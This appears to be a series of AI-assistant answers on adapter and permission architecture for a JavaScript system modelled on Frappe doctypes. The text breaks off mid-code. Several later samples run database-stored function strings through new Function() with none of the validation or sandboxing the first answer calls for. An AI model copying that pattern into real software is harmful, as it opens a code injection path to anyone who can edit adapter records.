3:00 PM
Feature Prioritization: Code Managability & Complexity Analysis
Core Problem
You want to transform hardcoded JS modules into runtime-loadable JSON documents with executable functions, while extending RBAC to cover function-level permissions ("capabilities").
Complexity Assessment by Feature
🟢 LOW Complexity - Do First
1. Extend DocType Schema for Adapter
- Why Low: Pure data structure addition
- Risk: None - isolated change
- Dependencies: None
- Add fields:
functions,steps,permissionsto Adapter doctype schema - Estimate: 1-2 hours
2. Store Adapter Documents with Serialized Functions
- Why Low: Just JSON storage
- Risk: None - read-only initially
- Store function strings in
functionsfield - Test with one simple adapter (e.g.,
httpfetch) - Estimate: 2-4 hours
🟡 MEDIUM Complexity - Do Second
3. Load & Deserialize Functions at Runtime
- Why Medium:
eval()/Function()security surface - Risk: Medium - needs sandboxing
- Implement
coworker.loadAdapter(full_name)that:- Fetches adapter document
- Deserializes function strings
- Stores in memory cache
- Critical: Add basic validation (syntax check, no dangerous globals)
- Estimate: 4-8 hours
4. Route Operations to Adapter Functions
- Why Medium: Changes orchestration flow
- Risk: Medium - affects existing operations
- Modify
_exec()to checkoptions.adapter - If adapter specified, route to loaded adapter function instead of built-in operation
- Fallback: Keep existing operations working
- Estimate: 4-6 hours
🔴 HIGH Complexity - Do Last
5. Function-Level Capabilities in RBAC
- Why High: Touches security foundation
- Risk: High - authorization bypass risks
- Extend current permission system:
javascript
permissions: [
{ role: "Http Get User", read: 1, get: 1 }, // function-level perm
{ role: "System Manager", read: 1, write: 1, post: 1, delete: 1 }
]
```
- Modify `checkPermission()` to validate function name
- **Critical**: Deny-by-default, explicit allow-list
- **Estimate**: 8-12 hours
#### 6. **Steps/Workflow Execution**
- **Why High**: New execution paradigm
- **Risk**: High - introduces complex state management
- This is essentially a **mini-workflow engine**
- Requires:
- Step dependency resolution (`source_step`)
- Variable interpolation (`{{code.task_count}}`)
- Error handling between steps
- Potentially async/parallel execution
- **Recommendation**: Extract to separate feature after core adapters work
- **Estimate**: 16-24 hours (or separate project)
---
## Recommended Implementation Order
### Phase 1: Data Foundation (Low Risk)
```
Week 1:
1. Schema extension for Adapter doctype
2. Create sample adapter documents (httpfetch, s3storage)
3. Test storage/retrieval
```
### Phase 2: Runtime Loading (Controlled Risk)
```
Week 2-3:
4. Implement loadAdapter() with function deserialization
5. Add basic security validation
6. Test with simple GET/POST functions
```
### Phase 3: Integration (Medium Risk)
```
Week 4:
7. Route run() to adapter functions via options.adapter
8. Maintain backward compatibility
9. Add adapter error handling
```
### Phase 4: Security Layer (High Risk)
```
Week 5-6:
10. Extend RBAC with function-level permissions
11. Update checkPermission() logic
12. Audit all permission checks
13. Security testing
```
### Phase 5: Advanced Features (Separate Project)
```
Later / Optional:
14. Steps/workflow engine
15. Variable interpolation
16. Dependency resolutionCritical Code Managability Concerns
⚠️ Security Risks
- Serialized functions = code injection vector
- Mitigations:
- Strict CSP (Content Security Policy)
- Function signature validation
- Sandboxed execution context
- Audit logging of adapter loads
⚠️ Debugging Nightmare
- Stack traces will show
eval()orFunction() - Solution: Source maps or function naming convention
javascript
const fn = new Function('input', 'options',
`//# sourceURL=adapter_${full_name}_${funcName}.js\n${code}`
);⚠️ Version Control
- Functions stored as strings lose:
- Syntax highlighting
- Linting
- Git diffs
- Solution: Keep "source of truth" as
.jsfiles, compile to JSON documents
⚠️ Performance
- Function deserialization on every load is expensive
- Solution: Aggressive caching + invalidation strategy
Alternative Architecture (Consideration)
Instead of JSON-stored functions, consider:
javascript
// Keep adapters as ES modules
// /adapters/httpfetch.js
export default {
name: 'httpfetch',
functions: {
get: async (input, options) => { /* ... */ },
post: async (input, options) => { /* ... */ }
},
permissions: [/* ... */],
steps: [/* ... */]
}
// Load via dynamic import
const adapter = await import(`./adapters/${full_name}.js`);Pros:
- No eval()
- Better debugging
- Native JS tooling
- Version control friendly
Cons:
- Requires bundler/build step
- Can't edit functions via UI (unless you build a code editor)
Final Recommendation
Start with Phases 1-3 (data structure + basic loading). This gets you 80% of value with 20% of risk.
Defer Phase 5 (steps/workflows) - it's a separate product feature that deserves its own design.
Phase 4 (RBAC) is security-critical - don't rush it. Consider external security audit.
Question to resolve first: Do you need runtime-editable functions, or is build-time compilation acceptable?
3:06 PM
Permissions Storage Architecture Analysis
Current Dual Approach Problem
javascript
// Approach 1: Schema-level permissions
getSchema('Task').permissions
→ Generic permissions for ALL Task documents
// Approach 2: Document-level permissions
run('select', doctype='Adapter', where={full_name='httpfetch'}).permissions
→ Specific permissions for THIS adapter instanceThe confusion: Are adapter permissions type-level (all httpfetch instances) or instance-level (this specific httpfetch config)?
Three Architecture Options
Option 1: Adapter = DocType Schema (Simplest)
Each adapter becomes its own DocType with custom permissions.
javascript
// Instead of:
Adapter { full_name: 'httpfetch', functions: {...} }
// Do:
DocType: 'HttpFetch'
Schema: {
name: 'HttpFetch',
permissions: [
{ role: 'Http Get User', read: 1, get: 1 },
{ role: 'System Manager', read: 1, write: 1, post: 1 }
],
fields: [
{ fieldname: 'base_url', fieldtype: 'Data' },
{ fieldname: 'timeout', fieldtype: 'Int' },
// ... adapter-specific config fields
]
}Usage:
javascript
// Load adapter capabilities
const schema = await coworker.getSchema('HttpFetch');
const canPost = checkPermission(user, schema.permissions, 'post');
// Get adapter config
const config = await run('select', doctype='HttpFetch', where={name: 'prod_api'});Pros:
- ✅ Single source of truth for permissions
- ✅ Uses existing schema infrastructure
- ✅ Clear: permissions are type-level (what HttpFetch CAN do)
- ✅ Config is instance-level (what THIS HttpFetch instance DOES)
Cons:
- ❌ Many schemas pollute schema registry
- ❌ Less dynamic (need schema migration to add adapters)
Option 2: Adapter = Special DocType with Merged Permissions
Keep Adapter as single DocType, merge generic + specific permissions.
javascript
// Generic Adapter schema
getSchema('Adapter').permissions = [
{ role: 'System Manager', read: 1, write: 1, create: 1, delete: 1 }
]
// Specific adapter document
run('select', doctype='Adapter', where={full_name: 'httpfetch'}).permissions = [
{ role: 'Http Get User', get: 1 },
{ role: 'Http Post User', post: 1 }
]
// Runtime merge
function getEffectivePermissions(doctype, record) {
const schemaPerms = getSchema(doctype).permissions;
const recordPerms = record.permissions || [];
return [...schemaPerms, ...recordPerms]; // Record perms can extend/override
}Pros:
- ✅ Flexible: add adapters without schema changes
- ✅ Two-tier permissions (generic + specific)
- ✅ Familiar pattern (like field-level permissions in ERPNext)
Cons:
- ❌ Complex merge logic
- ❌ Ambiguity: which takes precedence?
- ❌ Two places to check for permissions
Option 3: Capabilities as Separate DocType (Cleanest)
Introduce Capability DocType to decouple permissions from adapters.
javascript
// Adapter document (pure config + functions)
DocType: 'Adapter'
{
full_name: 'httpfetch',
functions: { get: "...", post: "..." },
// NO permissions field
}
// Capability document (authorization)
DocType: 'Capability'
{
name: 'cap_httpfetch_get',
adapter: 'httpfetch',
function: 'get',
roles: ['Http Get User', 'Desk User']
}
DocType: 'Capability'
{
name: 'cap_httpfetch_post',
adapter: 'httpfetch',
function: 'post',
roles: ['Http Post User', 'System Manager']
}Permission check:
javascript
async function canExecuteAdapterFunction(user, adapterName, functionName) {
const capabilities = await run('select',
doctype='Capability',
where={ adapter: adapterName, function: functionName }
);
const userRoles = user._allowed_read;
return capabilities.some(cap =>
cap.roles.some(role => userRoles.includes(role))
);
}Pros:
- ✅ Clean separation of concerns
- ✅ Adapters are pure logic/config
- ✅ Capabilities are pure authorization
- ✅ Easy to query: "What can this user do?" or "Who can use this function?"
- ✅ Follows ERPNext pattern (User Permissions as separate DocType)
Cons:
- ❌ More documents to manage
- ❌ Extra queries for permission checks (needs caching)
Recommendation: Option 3 (Capabilities DocType)
Why?
- Conceptual Clarity
- Adapter = "What functions exist"
- Capability = "Who can execute them"
- User = "What capabilities I have"
- Matches Your RBAC Evolution
javascript
// User with capabilities
user._allowed_read = ['role_http_get', 'role_http_post']
// Capability grants function access
Capability { adapter: 'httpfetch', function: 'get', roles: ['role_http_get'] }- Flexibility
- Add/revoke capabilities without touching adapter code
- Same adapter, different permissions per environment (dev/prod)
- Audit trail: "Who granted capability X to role Y?"
- Performance
javascript
// Cache capabilities at app startup
coworker._capabilityCache = new Map();
async function loadCapabilities() {
const caps = await run('select', doctype='Capability', query={});
caps.forEach(cap => {
const key = `${cap.adapter}:${cap.function}`;
coworker._capabilityCache.set(key, cap.roles);
});
}Implementation Strategy
Phase 1: Introduce Capability DocType
javascript
// Schema
{
name: 'Capability',
fields: [
{ fieldname: 'adapter', fieldtype: 'Link', options: 'Adapter' },
{ fieldname: 'function', fieldtype: 'Data' },
{ fieldname: 'roles', fieldtype: 'Table', options: 'Capability Role' },
{ fieldname: 'enabled', fieldtype: 'Check', default: 1 }
],
permissions: [
{ role: 'System Manager', read: 1, write: 1, create: 1, delete: 1 }
]
}Phase 2: Migrate Permissions
javascript
// Convert adapter.permissions → Capability documents
async function migrateAdapterPermissions(adapter) {
for (const perm of adapter.permissions) {
for (const [funcName, allowed] of Object.entries(perm)) {
if (funcName === 'role' || !allowed) continue;
await run('create', doctype='Capability', input={
adapter: adapter.full_name,
function: funcName,
roles: [{ role: perm.role }],
enabled: 1
});
}
}
}Phase 3: Update Permission Checks
javascript
coworker.checkAdapterPermission = async function(user, adapterName, functionName) {
const key = `${adapterName}:${functionName}`;
// Check cache first
const allowedRoles = this._capabilityCache.get(key);
if (!allowedRoles) return false; // No capability = denied
const userRoles = user._allowed_read || [];
return userRoles.some(role => allowedRoles.includes(role));
};
```
---
## Simplified Mental Model
```
┌─────────────────────────────────────────┐
│ Adapter (What) │
│ - full_name: 'httpfetch' │
│ - functions: { get, post, put, delete } │
│ - config: { base_url, timeout } │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ Capability (Who → What) │
│ - adapter: 'httpfetch' │
│ - function: 'get' │
│ - roles: ['role_http_get'] │
└─────────────────────────────────────────┘
↓
┌─────────────────────────────────────────┐
│ User (Who) │
│ - username: 'john' │
│ - _allowed_read: ['role_http_get'] │
└─────────────────────────────────────────┘Answer: "Should I let John execute httpfetch.get()?"
- Get John's roles:
['role_http_get'] - Get capabilities for
httpfetch:get:['role_http_get'] - Intersection exists → ✅ Allowed
Final Answer
Don't make Adapter a schema - keep it as a document.
Do introduce Capability as a separate DocType to decouple authorization from adapter logic.
This gives you:
- Simple permission model (one place to check)
- Flexible adapter management (add/remove without schema changes)
- Clear audit trail (who can do what, and why)
3:08 PM
Keep Permissions in Schema - Simplified Approach
Core Insight
You're right - schema-level permissions are good because they define type-level capabilities. The question is just how to organize adapters.
Recommended: Each Adapter = Its Own DocType Schema
Why This Works
javascript
// Current pattern (that works well):
getSchema('Task').permissions → Who can read/write/delete Tasks
getSchema('User').permissions → Who can read/write/delete Users
// Extend same pattern:
getSchema('HttpFetch').permissions → Who can get/post/put/delete via HttpFetch
getSchema('S3Storage').permissions → Who can upload/download via S3StorageMental model: An adapter isn't a document with varying permissions - it's a capability type with fixed permissions, just like Task or User.
Implementation
1. Define Adapter Schemas (Not Documents)
javascript
// /schemas/HttpFetch.json
{
"name": "HttpFetch",
"module": "Adapters",
"is_adapter": true, // Flag for special handling
"permissions": [
{ "role": "System Manager", "read": 1, "write": 1, "get": 1, "post": 1, "put": 1, "delete": 1 },
{ "role": "Http Get User", "read": 1, "get": 1 },
{ "role": "Http Post User", "read": 1, "post": 1 }
],
"fields": [
{ "fieldname": "base_url", "fieldtype": "Data", "label": "Base URL" },
{ "fieldname": "timeout", "fieldtype": "Int", "label": "Timeout (ms)", "default": 5000 },
{ "fieldname": "headers", "fieldtype": "JSON", "label": "Default Headers" }
],
// Store functions in schema (not in documents)
"functions": {
"get": "async function(input, options) { /* GET logic */ }",
"post": "async function(input, options) { /* POST logic */ }",
"put": "async function(input, options) { /* PUT logic */ }",
"delete": "async function(input, options) { /* DELETE logic */ }"
}
}2. Documents Are Configuration Instances
javascript
// Users create configuration documents of doctype HttpFetch
await run('create', doctype='HttpFetch', input={
name: 'prod_api',
base_url: 'https://api.production.com',
timeout: 10000,
headers: { 'Authorization': 'Bearer xyz' }
// NO permissions field - inherited from schema
});
await run('create', doctype='HttpFetch', input={
name: 'dev_api',
base_url: 'https://api.dev.com',
timeout: 5000
// Same permissions as prod_api (from schema)
});3. Usage Pattern
javascript
// Check permission (schema-level)
const schema = await coworker.getSchema('HttpFetch');
const canPost = await coworker.checkPermission(user, schema.permissions, 'post');
if (canPost) {
// Execute with specific config (document-level)
await run('post', {
doctype: 'HttpFetch',
config_name: 'prod_api', // Which config to use
input: {
endpoint: '/users',
body: { name: 'John' }
}
});
}How Operations Resolve
javascript
// In coworker._exec()
async function _exec(run_doc) {
const schema = await this.getSchema(run_doc.target_doctype);
// Check if this is an adapter schema
if (schema.is_adapter) {
// 1. Check permission
const allowed = await this.checkPermission(
run_doc.owner,
schema.permissions,
run_doc.operation // 'post', 'get', etc.
);
if (!allowed) {
throw new Error(`User lacks ${run_doc.operation} permission for ${schema.name}`);
}
// 2. Load config (if specified)
let config = {};
if (run_doc.options?.config_name) {
const configDoc = await run('select', {
doctype: schema.name,
where: { name: run_doc.options.config_name },
options: { render: false }
});
config = configDoc.output.data[0];
}
// 3. Deserialize and execute function
const fn = new Function('input', 'options', 'config',
schema.functions[run_doc.operation]
);
return await fn(run_doc.input, run_doc.options, config);
}
// Regular CRUD operations...
}Benefits of This Approach
✅ Single Source of Truth
javascript
// Permissions always here:
getSchema('HttpFetch').permissions
getSchema('S3Storage').permissions
// Never here:
run('select', doctype='Adapter', where=...).permissions ❌✅ Familiar Pattern
javascript
// Same as your existing doctypes:
getSchema('Task').permissions → Who can CRUD tasks
getSchema('HttpFetch').permissions → Who can GET/POST via HttpFetch✅ Clear Separation
javascript
Schema (Type): What functions exist + who can use them
Document (Config): Connection strings, URLs, credentials✅ Simple Permission Checks
javascript
// Just one place to look (same as now):
async function canExecute(user, doctype, operation) {
const schema = await getSchema(doctype);
return checkPermission(user, schema.permissions, operation);
}
```
---
## Handling Multiple Adapters
### Option A: Separate Schema Per Adapter Type
```
HttpFetch.json
S3Storage.json
PostgresDB.json
MongoDBAdapter.jsonPro: Clear boundaries, independent permissions
Con: More schema files
Option B: Generic Adapter Schema + Inheritance (Advanced)
javascript
// Base schema
Adapter.json → Generic permissions
// Specific schemas extend base
{
"name": "HttpFetch",
"extends": "Adapter",
"permissions": [...], // Override base
"functions": {...}
}Pro: DRY, shared base permissions
Con: More complex, inheritance logic needed
Migration Path
Step 1: Convert Existing Adapter Concept
javascript
// Before: Adapter document with permissions field
{
doctype: 'Adapter',
full_name: 'httpfetch',
permissions: [...],
functions: {...}
}
// After: HttpFetch schema
{
name: 'HttpFetch',
is_adapter: true,
permissions: [...], // Stays in schema
functions: {...} // Stays in schema
}Step 2: Create Config Documents
javascript
// Create instances of HttpFetch doctype
await run('create', doctype='HttpFetch', input={
name: 'config_1',
base_url: '...',
// config only, no permissions
});Step 3: Update Operation Routing
javascript
// In _exec(), detect adapter schemas and route accordingly
if (schema.is_adapter) {
return executeAdapterFunction(run_doc, schema);
} else {
return executeCRUD(run_doc);
}Answer to Your Question
Q: How to simplify dual approach to store permissions?
A: Don't store permissions in two places.
Keep permissions only in schemas (like you do now).
Make each adapter its own DocType schema (like HttpFetch, S3Storage), not generic Adapter documents.
Documents become configuration instances of those adapter types.
This maintains your good current pattern:
javascript
// Always:
getSchema(doctype).permissions
// Never:
getDocument(doctype, name).permissionsSimple, consistent, no duplication.
3:12 PM
Conceptual Architecture: Schema as Complete Contract
The Core Tension
You have a beautiful separation:
DocType "Task" → Schema (structure + permissions) → Documents (data instances)
DocType "User" → Schema (structure + permissions) → Documents (data instances)But adapters break this:
Adapter "HttpFetch" → ???
- Has structure (fields like base_url, timeout)
- Has permissions (who can GET/POST)
- Has behavior (the GET/POST functions themselves)
- Has configuration data (prod vs dev URLs)Your insight: Adapter isn't just schema OR data—it's a complete contract (schema + data + behavior).
The Question
Should schema become the unified contract document?
javascript
// Current Frappe pattern:
schema.fields = [...] // Structure
// Your proposal:
schema.fields = [...] // Structure
schema.data = {...} // Default/seed data?
schema.functions = {...} // Behavior?
```
---
## Three Conceptual Models
### Model 1: **Schema = Pure Structure** (Current Frappe)
```
Schema (abstract)
├─ fields: what can exist
├─ permissions: who can do what
└─ [no data, no behavior]
Documents (concrete)
└─ instances with actual values
```
**Philosophy**: Schema is a **template/blueprint**, documents are **realizations**.
---
### Model 2: **Schema = Contract with Defaults** (Your Proposal)
```
Schema (contract)
├─ fields: structure
├─ permissions: authorization
├─ data: default/seed values
└─ functions: behavior definitions
Documents (overrides)
└─ data that overrides schema.dataPhilosophy: Schema is self-contained specification, documents are customizations.
Example:
javascript
// Schema defines adapter contract
getSchema('HttpFetch') = {
fields: [
{ fieldname: 'base_url', fieldtype: 'Data' },
{ fieldname: 'timeout', fieldtype: 'Int' }
],
permissions: [...],
// Default configuration
data: {
base_url: 'https://api.default.com',
timeout: 5000,
headers: { 'Content-Type': 'application/json' }
},
// Behavior
functions: {
get: "async function(input, config) { ... }",
post: "async function(input, config) { ... }"
}
}
// Document overrides defaults
Document('HttpFetch', name='prod_api') = {
base_url: 'https://api.production.com', // Override
timeout: 10000, // Override
// headers inherited from schema.data
}
```
---
### Model 3: **Schema = Class Definition** (OOP Analogy)
```
Schema (class)
├─ fields: properties
├─ permissions: access modifiers
├─ static data: class variables
└─ functions: methods
Documents (instances)
└─ instance variablesPhilosophy: Schema is behavior + structure, documents are state.
Example:
javascript
// Schema = Class
class HttpFetch {
static fields = [...];
static permissions = [...];
static defaultConfig = { base_url: '...', timeout: 5000 };
static async get(input, instanceConfig) { ... }
static async post(input, instanceConfig) { ... }
}
// Document = Instance
const prodApi = new HttpFetch({
name: 'prod_api',
base_url: 'https://api.production.com',
timeout: 10000
});Which Model Fits Your System?
If Adapters Are Singletons (One Per Type)
→ Model 2 (Schema = Contract with Defaults)
javascript
// Only one "HttpFetch" exists, no instances needed
const result = await run('post', {
doctype: 'HttpFetch', // The adapter itself
input: { endpoint: '/users', body: {...} }
});
// Configuration is in schema.data
getSchema('HttpFetch').data.base_urlWhen to use: Adapters are capabilities, not configured instances.
If Adapters Are Configurable (Multiple Instances)
→ Model 3 (Schema = Class, Documents = Instances)
javascript
// Multiple HttpFetch configurations
await run('post', {
doctype: 'HttpFetch',
instance: 'prod_api', // Which configuration
input: { endpoint: '/users', body: {...} }
});
await run('post', {
doctype: 'HttpFetch',
instance: 'dev_api', // Different configuration
input: { endpoint: '/users', body: {...} }
});
// Functions in schema, config in documents
getSchema('HttpFetch').functions.post
getDocument('HttpFetch', 'prod_api').base_urlWhen to use: You need multiple environments (dev/staging/prod) with same adapter.
My Recommendation: Model 3 (Schema = Behavior, Documents = Configuration)
Why?
- Separation of Concerns
- Schema = What the adapter CAN do (functions + permissions)
- Documents = How to CONNECT to it (URLs, credentials)
- Reusability
javascript
// One schema, many configs
Schema: HttpFetch (GET/POST/PUT/DELETE functions)
Docs: prod_api, dev_api, staging_api- Maintains Your Current Pattern
javascript
// Task schema doesn't have data either
getSchema('Task').fields // Structure ✓
getSchema('Task').permissions // Authorization ✓
getSchema('Task').data // ✗ Doesn't exist
// Individual tasks have data
getDocument('Task', 'TASK-001').data // ✓
```
4. **Clear Mental Model**
```
Schema = Type definition (what exists, what's possible)
Document = Value instance (actual data for this thing)Implementation
Schema Contains:
javascript
{
"name": "HttpFetch",
"fields": [...], // Structure
"permissions": [...], // Authorization
"functions": {...}, // Behavior (NEW)
// No data field
}Documents Contain:
javascript
{
"doctype": "HttpFetch",
"name": "prod_api",
"base_url": "...", // Configuration data
"timeout": 10000,
"headers": {...}
}Execution Merges Both:
javascript
async function executeAdapter(run_doc) {
// Get behavior from schema
const schema = await getSchema(run_doc.doctype);
const fn = deserialize(schema.functions[run_doc.operation]);
// Get configuration from document
const config = await getDocument(run_doc.doctype, run_doc.instance);
// Execute: behavior + config
return await fn(run_doc.input, config);
}Edge Case: What About Seed/Default Data?
If you need default configuration in schema:
javascript
{
"name": "HttpFetch",
"fields": [...],
"permissions": [...],
"functions": {...},
// Option 1: Default values in fields
"fields": [
{ "fieldname": "timeout", "fieldtype": "Int", "default": 5000 },
{ "fieldname": "headers", "fieldtype": "JSON", "default": {"Content-Type": "application/json"} }
]
// Option 2: Seed document (if really needed)
"seed": {
"name": "_default",
"base_url": "https://api.default.com",
"timeout": 5000
}
}
```
But typically **defaults belong in fields**, not separate data property.
---
## Final Answer
**Don't add `schema.data`** — it violates the schema/document separation you already have.
**Do add `schema.functions`** — behavior belongs with structure/permissions.
Think of it as:
```
Schema = Type Contract
└─ fields (structure)
└─ permissions (authorization)
└─ functions (behavior) ← NEW
Document = Instance Data
└─ field values (configuration)This keeps your two-level model (schema + documents) intact while adding behavior where it conceptually belongs: with the type definition, not with instances.
Schema is the highest level — it defines what's possible. Documents are realizations of those possibilities.
3:23 PM
Conceptual Breakthrough: Adapter as Integrated Entity
The Key Insight
You're right - this is fundamentally different from regular DocTypes:
javascript
// Regular DocType (Template → Instances)
Schema: Task → defines structure
Documents: TASK-001, TASK-002 → many instances
// Adapter (Singleton Entity)
Adapter: HttpFetch → IS the thing itself
No cloning, no instances, it's complete as-isAnd it mirrors your run_doc pattern:
javascript
run_doc = {
operation: "update",
// Integrated pipeline objects
source: { doctype, data, schema, meta }, // Original + mutations
target: { doctype, data, schema, meta }, // Result after transform
input: { ... }, // Delta/patch
}The Pattern: Integrated Entity
run_doc Structure
javascript
{
// What to do
operation: "update",
// Delta (patch)
input: { status: "Done" },
// Integrated pipeline stages
source: {
doctype: "Task", // Identity
schema: {...}, // Contract
data: [{...}], // State
meta: { fetched: 1 } // Execution metadata
},
target: {
doctype: "Task", // Identity (can differ from source)
schema: {...}, // Contract
data: [{...}], // State (after mutation)
meta: { updated: 1 } // Execution metadata
}
}Key: source and target are integrated objects containing identity + contract + state + metadata.
Apply Same Pattern to Adapter
Adapter as Integrated Entity
javascript
// Adapter document structure (singleton)
Adapter: HttpFetch = {
// Identity
doctype: "Adapter",
name: "HttpFetch",
full_name: "httpfetch",
// Contract (like schema)
fields: [
{ fieldname: 'base_url', fieldtype: 'Data' },
{ fieldname: 'timeout', fieldtype: 'Int' }
],
permissions: [
{ role: "Http Get User", read: 1, get: 1 },
{ role: "System Manager", read: 1, write: 1, get: 1, post: 1 }
],
// Behavior
functions: {
get: "async function(input, options) { ... }",
post: "async function(input, options) { ... }"
},
// State (configuration data)
data: {
base_url: 'https://api.default.com',
timeout: 5000,
headers: { 'Content-Type': 'application/json' }
},
// Metadata
meta: {
version: '1.0.0',
loaded: null,
last_executed: null
}
}This is a complete, self-contained entity - not a template for instances.
Conceptual Alignment
run_doc Pattern
javascript
source: {
doctype, // Identity
schema, // Contract
data, // State
meta // Metadata
}Adapter Pattern (Same!)
javascript
Adapter: {
name/full_name, // Identity
fields/permissions/functions, // Contract
data, // State (config)
meta // Metadata
}Both are integrated entities where contract + state live together.
Why This Makes Sense
1. Adapters Are Capabilities, Not Types
javascript
// Regular DocType: Type definition
Schema: Task → "A task can have title, status, assignee"
Documents: Many tasks exist
// Adapter: Capability definition
Adapter: HttpFetch → "HTTP fetching capability with GET/POST/PUT/DELETE"
No instances needed - the capability itself is singular2. Configuration IS Part of the Entity
javascript
// For run_doc
source.data = [...] // The actual task being operated on
// For adapter
adapter.data = {...} // The actual config for this capabilityThe data isn't a separate instance - it's the current state of the capability.
3. Schema Becomes Just One Aspect
javascript
// Before (trying to fit into Schema model)
Schema = { fields, permissions } // Incomplete
??? = { functions, data } // Where do these go?
// After (integrated entity)
Adapter = {
fields, permissions, // Contract aspects
functions, // Behavior aspect
data, // State aspect
meta // Execution aspect
}Storage Architecture
Option A: Adapter as Special DocType (Recommended)
javascript
// Adapters are documents, but special ones
DocType: "Adapter"
Schema: {
name: "Adapter",
fields: [
{ fieldname: 'full_name', fieldtype: 'Data' },
{ fieldname: 'fields', fieldtype: 'JSON' }, // Contract
{ fieldname: 'permissions', fieldtype: 'JSON' }, // Contract
{ fieldname: 'functions', fieldtype: 'JSON' }, // Behavior
{ fieldname: 'data', fieldtype: 'JSON' }, // State
{ fieldname: 'meta', fieldtype: 'JSON' } // Metadata
]
}
// Each adapter is ONE document
Document: { doctype: "Adapter", name: "HttpFetch", ... }
Document: { doctype: "Adapter", name: "S3Storage", ... }This matches your run_doc approach: The document contains everything.
Option B: Adapter Outside Normal DocType System
javascript
// Adapters are their own thing, like schemas are
coworker._adapters = new Map();
// Load adapter
const adapter = await coworker.loadAdapter('httpfetch');
// Returns complete integrated entity
// Store in memory
coworker._adapters.set('httpfetch', adapter);Usage Pattern
javascript
// Load adapter (gets complete entity)
const adapter = await run('select', {
doctype: 'Adapter',
where: { full_name: 'httpfetch' },
options: { init: true } // Deserializes functions
});
// Now adapter contains everything:
adapter.fields // Contract
adapter.permissions // Authorization
adapter.functions // Behavior (deserialized)
adapter.data // Configuration
adapter.meta // Runtime info
// Execute operation using adapter
await run('post', {
input: { endpoint: '/users', body: {...} },
options: {
adapter: adapter // Pass entire entity
}
});
// Inside _exec
function _exec(run_doc) {
const adapter = run_doc.options.adapter;
// Check permission
checkPermission(user, adapter.permissions, 'post');
// Execute function with config
const fn = adapter.functions.post; // Already deserialized
return fn(run_doc.input, adapter.data); // behavior + state
}
```
---
## The Conceptual Model
```
Regular DocType Flow:
Schema (template) → Document (instance) → Data (values)
↓ ↓ ↓
Structure Realization Content
Adapter Flow:
Adapter (integrated entity) → Execution → Result
↓ ↓ ↓
Contract + Behavior + State Runtime OutputKey difference: No template→instance relationship. The adapter is the complete thing.
Comparison to run_doc
| Aspect | run_doc | Adapter |
|---|---|---|
| Identity | run_doc.name | adapter.full_name |
| Contract | source.schema + target.schema | adapter.fields + adapter.permissions |
| Behavior | operation (CRUD) | adapter.functions (custom) |
| State | source.data → target.data | adapter.data (config) |
| Metadata | source.meta, target.meta | adapter.meta |
| Pattern | Pipeline stages | Integrated entity |
Both are complete, self-contained objects that merge contract + state.
Final Answer
Yes, add schema.data - but only for Adapters, because they're integrated entities, not templates.
javascript
// For Adapter doctype specifically
Adapter Document = {
name: "HttpFetch",
// Contract (like schema fields)
fields: [...],
permissions: [...],
// Behavior (NEW)
functions: {...},
// State (NEW - your question)
data: {...},
// Metadata (execution tracking)
meta: {...}
}This mirrors your run_doc.source pattern where identity + contract + state + metadata are integrated.
For regular DocTypes (Task, User, etc.), keep the separation:
- Schema = contract only
- Documents = instances with data
For Adapters, they're singletons - the "schema" and "document" collapse into one integrated entity, just like how source in run_doc is a complete integrated object.
3:28 PM
Collapse ↔ Expand: Two Valid Perspectives
Yes - Both Are Valid Architectural Views
javascript
// COLLAPSED VIEW (Runtime/Execution perspective)
Adapter = Integrated Singleton Entity
├─ schema (contract)
├─ doc (state/config)
├─ capabilities (behavior)
└─ steps (workflow)
// EXPANDED VIEW (Storage/Management perspective)
Adapter System
├─ Schema (structure + permissions)
├─ Document (configuration data)
├─ Capabilities (functions)
└─ Steps (workflow definitions)The Pattern: Perspective-Driven Architecture
Collapsed (Execution Time)
When you use the adapter, you want ONE integrated object:
javascript
// Load adapter - get everything
const adapter = await coworker.loadAdapter('httpfetch');
// Single integrated entity
adapter = {
// Schema aspect
fields: [...],
permissions: [...],
// Doc aspect
data: {
base_url: 'https://api.com',
timeout: 5000
},
// Capabilities aspect
functions: {
get: async (input, options) => {...},
post: async (input, options) => {...}
},
// Steps aspect
steps: [
{ name: 'validate', operation: 'validate', ... },
{ name: 'execute', operation: 'post', ... },
{ name: 'log', operation: 'create', doctype: 'Log', ... }
]
}
// Execute with complete context
await adapter.functions.post(input, adapter.data);Why collapse? Execution needs everything together - no separate lookups.
Expanded (Storage/Design Time)
When you manage the adapter, you want separation for clarity:
javascript
// 1. Schema (type definition)
DocType: Adapter
Schema: {
name: "Adapter",
fields: [
{ fieldname: 'full_name', fieldtype: 'Data' },
{ fieldname: 'base_url', fieldtype: 'Data' },
{ fieldname: 'timeout', fieldtype: 'Int' }
],
permissions: [
{ role: "System Manager", read: 1, write: 1 }
]
}
// 2. Document (instance config)
await run('create', doctype='Adapter', input={
name: 'HttpFetch',
full_name: 'httpfetch',
base_url: 'https://api.com',
timeout: 5000
});
// 3. Capabilities (function definitions)
await run('create', doctype='AdapterCapability', input={
adapter: 'httpfetch',
name: 'get',
function: "async (input, options) => { ... }",
permissions: [
{ role: "Http Get User", execute: 1 }
]
});
await run('create', doctype='AdapterCapability', input={
adapter: 'httpfetch',
name: 'post',
function: "async (input, options) => { ... }",
permissions: [
{ role: "Http Post User", execute: 1 }
]
});
// 4. Steps (workflow templates)
await run('create', doctype='AdapterStep', input={
adapter: 'httpfetch',
step_name: 'validate_input',
operation: 'validate',
order: 1
});Why expand? Easier to edit, audit, version control each aspect separately.
The Transformation Layer
Collapse Operation (Load)
javascript
coworker.loadAdapter = async function(full_name) {
// Fetch all pieces
const doc = await run('select', {
doctype: 'Adapter',
where: { full_name }
});
const capabilities = await run('select', {
doctype: 'AdapterCapability',
where: { adapter: full_name }
});
const steps = await run('select', {
doctype: 'AdapterStep',
where: { adapter: full_name }
});
const schema = await this.getSchema('Adapter');
// COLLAPSE into integrated entity
return {
// Schema aspect
fields: schema.fields,
permissions: schema.permissions,
// Doc aspect
data: {
base_url: doc.base_url,
timeout: doc.timeout,
headers: doc.headers
},
// Capabilities aspect (deserialize functions)
functions: capabilities.reduce((acc, cap) => {
acc[cap.name] = new Function('input', 'options', cap.function);
return acc;
}, {}),
// Steps aspect
steps: steps.sort((a, b) => a.order - b.order),
// Metadata
meta: {
loaded_at: Date.now(),
full_name: full_name
}
};
};Expand Operation (Save)
javascript
coworker.saveAdapter = async function(adapter) {
// EXPAND singleton into separate documents
// 1. Save document (config data)
await run('update', {
doctype: 'Adapter',
where: { full_name: adapter.meta.full_name },
input: {
